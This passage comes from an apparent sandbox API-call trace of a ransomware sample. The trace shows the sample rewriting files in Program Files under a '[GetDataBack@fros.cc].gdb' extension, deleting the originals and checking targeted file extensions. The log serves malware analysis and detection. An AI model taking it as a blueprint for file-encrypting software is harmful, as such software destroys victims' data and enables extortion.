dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0128.848] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0128.848] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0128.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0128.849] GetLastError () returned 0x0 [0128.849] ReadFile (in: hFile=0x1fc, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x51a5b, lpOverlapped=0x0) returned 1 [0128.959] WriteFile (in: hFile=0x208, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x51a60, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x51a60, lpOverlapped=0x0) returned 1 [0128.966] ReadFile (in: hFile=0x1fc, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0128.966] WriteFile (in: hFile=0x208, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xe4, lpOverlapped=0x0) returned 1 [0128.966] SetEndOfFile (hFile=0x208) returned 1 [0128.966] CloseHandle (hObject=0x208) returned 1 [0128.967] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0128.967] SetEndOfFile (hFile=0x1fc) returned 1 [0128.970] CloseHandle (hObject=0x1fc) returned 1 [0128.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0128.971] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm")) returned 1 [0128.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0128.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0128.971] lstrlenW (lpString=".doc") returned 4 [0128.971] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0128.971] lstrlenW (lpString=".docx") returned 5 [0128.971] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0128.971] lstrlenW (lpString=".pdf") returned 4 [0128.971] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0128.971] lstrlenW (lpString=".xls") returned 4 [0128.971] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0128.972] lstrlenW (lpString=".xlsx") returned 5 [0128.972] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0128.972] lstrlenW (lpString=".ppt") returned 4 [0128.972] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0128.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0128.972] lstrlenW (lpString=".zip") returned 4 [0128.972] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0128.972] lstrlenW (lpString=".rar") returned 4 [0128.972] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0128.972] lstrlenW (lpString=".bz2") returned 4 [0128.972] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0128.972] lstrlenW (lpString=".7z") returned 3 [0128.972] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0128.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0128.972] lstrlenW (lpString=".dbf") returned 4 [0128.972] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0128.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0128.972] lstrlenW (lpString=".1cd") returned 4 [0128.972] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0128.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0128.972] lstrlenW (lpString=".jpg") returned 4 [0128.972] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0128.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0128.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0128.972] lstrlenW (lpString=".doc") returned 4 [0128.972] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0128.972] lstrlenW (lpString=".docx") returned 5 [0128.972] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0128.972] lstrlenW (lpString=".pdf") returned 4 [0128.972] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0128.972] lstrlenW (lpString=".xls") returned 4 [0128.972] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0128.972] lstrlenW (lpString=".xlsx") returned 5 [0128.973] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0128.973] lstrlenW (lpString=".ppt") returned 4 [0128.973] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0128.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0128.973] lstrlenW (lpString=".zip") returned 4 [0128.973] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0128.973] lstrlenW (lpString=".rar") returned 4 [0128.973] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0128.973] lstrlenW (lpString=".bz2") returned 4 [0128.973] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0128.973] lstrlenW (lpString=".7z") returned 3 [0128.973] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0128.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0128.973] lstrlenW (lpString=".dbf") returned 4 [0128.973] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0128.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0128.973] lstrlenW (lpString=".1cd") returned 4 [0128.973] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0128.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0128.973] lstrlenW (lpString=".jpg") returned 4 [0128.973] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0128.973] lstrcmpiW (lpString1=".CHM", lpString2=".gdb") returned -1 [0128.973] lstrlenW (lpString="VBLR6.CHM") returned 9 [0128.973] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0128.974] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=944994) returned 1 [0128.974] CloseHandle (hObject=0x1fc) returned 1 [0128.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 0x20 [0128.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0128.974] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0128.974] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0128.974] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0128.974] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0128.975] GetLastError () returned 0x0 [0128.975] ReadFile (in: hFile=0x1fc, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0xe6b62, lpOverlapped=0x0) returned 1 [0129.367] WriteFile (in: hFile=0x208, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xe6b70, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xe6b70, lpOverlapped=0x0) returned 1 [0129.434] ReadFile (in: hFile=0x1fc, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0129.434] WriteFile (in: hFile=0x208, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xe6, lpOverlapped=0x0) returned 1 [0129.434] SetEndOfFile (hFile=0x208) returned 1 [0129.434] CloseHandle (hObject=0x208) returned 1 [0129.434] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0129.434] SetEndOfFile (hFile=0x1fc) returned 1 [0129.443] CloseHandle (hObject=0x1fc) returned 1 [0129.443] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0129.443] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 1 [0129.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0129.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0129.444] lstrlenW (lpString=".doc") returned 4 [0129.444] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0129.444] lstrlenW (lpString=".docx") returned 5 [0129.444] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0129.444] lstrlenW (lpString=".pdf") returned 4 [0129.444] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0129.444] lstrlenW (lpString=".xls") returned 4 [0129.444] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0129.444] lstrlenW (lpString=".xlsx") returned 5 [0129.444] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0129.444] lstrlenW (lpString=".ppt") returned 4 [0129.444] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0129.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0129.444] lstrlenW (lpString=".zip") returned 4 [0129.444] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0129.444] lstrlenW (lpString=".rar") returned 4 [0129.444] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0129.444] lstrlenW (lpString=".bz2") returned 4 [0129.444] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0129.444] lstrlenW (lpString=".7z") returned 3 [0129.444] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0129.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0129.444] lstrlenW (lpString=".dbf") returned 4 [0129.444] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0129.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0129.444] lstrlenW (lpString=".1cd") returned 4 [0129.444] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0129.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0129.444] lstrlenW (lpString=".jpg") returned 4 [0129.444] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0129.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0129.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0129.444] lstrlenW (lpString=".doc") returned 4 [0129.444] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0129.444] lstrlenW (lpString=".docx") returned 5 [0129.444] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0129.444] lstrlenW (lpString=".pdf") returned 4 [0129.444] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0129.444] lstrlenW (lpString=".xls") returned 4 [0129.445] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0129.445] lstrlenW (lpString=".xlsx") returned 5 [0129.445] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0129.445] lstrlenW (lpString=".ppt") returned 4 [0129.445] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0129.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0129.445] lstrlenW (lpString=".zip") returned 4 [0129.445] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0129.445] lstrlenW (lpString=".rar") returned 4 [0129.445] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0129.445] lstrlenW (lpString=".bz2") returned 4 [0129.445] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0129.445] lstrlenW (lpString=".7z") returned 3 [0129.445] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0129.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0129.445] lstrlenW (lpString=".dbf") returned 4 [0129.445] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0129.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0129.445] lstrlenW (lpString=".1cd") returned 4 [0129.445] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0129.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0129.445] lstrlenW (lpString=".jpg") returned 4 [0129.445] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0129.445] lstrcmpiW (lpString1=".inc", lpString2=".gdb") returned 1 [0129.445] lstrlenW (lpString="adcjavas.inc") returned 12 [0129.445] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0129.542] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=630) returned 1 [0129.542] CloseHandle (hObject=0x1fc) returned 1 [0129.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0129.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0129.542] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0129.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0129.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0129.542] lstrlenW (lpString=".doc") returned 4 [0129.542] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0129.542] lstrlenW (lpString=".docx") returned 5 [0129.542] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0129.542] lstrlenW (lpString=".pdf") returned 4 [0129.542] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0129.542] lstrlenW (lpString=".xls") returned 4 [0129.542] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0129.542] lstrlenW (lpString=".xlsx") returned 5 [0129.542] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0129.542] lstrlenW (lpString=".ppt") returned 4 [0129.542] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0129.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0129.542] lstrlenW (lpString=".zip") returned 4 [0129.542] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0129.542] lstrlenW (lpString=".rar") returned 4 [0129.542] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0129.542] lstrlenW (lpString=".bz2") returned 4 [0129.543] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0129.543] lstrlenW (lpString=".7z") returned 3 [0129.543] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0129.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0129.543] lstrlenW (lpString=".dbf") returned 4 [0129.543] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0129.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0129.543] lstrlenW (lpString=".1cd") returned 4 [0129.543] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0129.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0129.543] lstrlenW (lpString=".jpg") returned 4 [0129.543] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0129.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0129.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0129.543] lstrlenW (lpString=".doc") returned 4 [0129.543] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0129.543] lstrlenW (lpString=".docx") returned 5 [0129.543] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0129.543] lstrlenW (lpString=".pdf") returned 4 [0129.543] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0129.543] lstrlenW (lpString=".xls") returned 4 [0129.543] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0129.543] lstrlenW (lpString=".xlsx") returned 5 [0129.543] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0129.543] lstrlenW (lpString=".ppt") returned 4 [0129.543] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0129.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0129.543] lstrlenW (lpString=".zip") returned 4 [0129.543] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0129.543] lstrlenW (lpString=".rar") returned 4 [0129.543] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0129.543] lstrlenW (lpString=".bz2") returned 4 [0129.543] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0129.543] lstrlenW (lpString=".7z") returned 3 [0129.543] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0129.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0129.543] lstrlenW (lpString=".dbf") returned 4 [0129.543] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0129.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0129.543] lstrlenW (lpString=".1cd") returned 4 [0129.544] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0129.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0129.544] lstrlenW (lpString=".jpg") returned 4 [0129.544] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0129.544] lstrcmpiW (lpString1=".png", lpString2=".gdb") returned 1 [0129.544] lstrlenW (lpString="NavigationUp_SelectionSubpicture.png") returned 36 [0129.544] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0129.919] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=3081) returned 1 [0129.919] CloseHandle (hObject=0x1ac) returned 1 [0129.919] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png")) returned 0x20 [0129.919] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0129.920] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0129.920] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0129.920] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0129.920] lstrlenW (lpString=".doc") returned 4 [0129.920] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0129.920] lstrlenW (lpString=".docx") returned 5 [0129.920] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0129.920] lstrlenW (lpString=".pdf") returned 4 [0129.920] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0129.920] lstrlenW (lpString=".xls") returned 4 [0129.920] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0129.920] lstrlenW (lpString=".xlsx") returned 5 [0129.920] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0129.920] lstrlenW (lpString=".ppt") returned 4 [0129.920] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0129.920] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0129.920] lstrlenW (lpString=".zip") returned 4 [0129.920] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0129.920] lstrlenW (lpString=".rar") returned 4 [0129.920] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0129.920] lstrlenW (lpString=".bz2") returned 4 [0129.920] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0129.920] lstrlenW (lpString=".7z") returned 3 [0129.920] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0129.920] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0129.920] lstrlenW (lpString=".dbf") returned 4 [0129.920] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0129.920] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0129.920] lstrlenW (lpString=".1cd") returned 4 [0129.921] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0129.921] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0129.921] lstrlenW (lpString=".jpg") returned 4 [0129.921] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0129.921] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0129.921] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png") returned 85 [0129.921] lstrlenW (lpString=".doc") returned 4 [0129.921] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0129.921] lstrlenW (lpString=".docx") returned 5 [0129.921] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0129.921] lstrlenW (lpString=".pdf") returned 4 [0129.921] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0129.921] lstrlenW (lpString=".xls") returned 4 [0129.921] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0129.921] lstrlenW (lpString=".xlsx") returned 5 [0129.921] 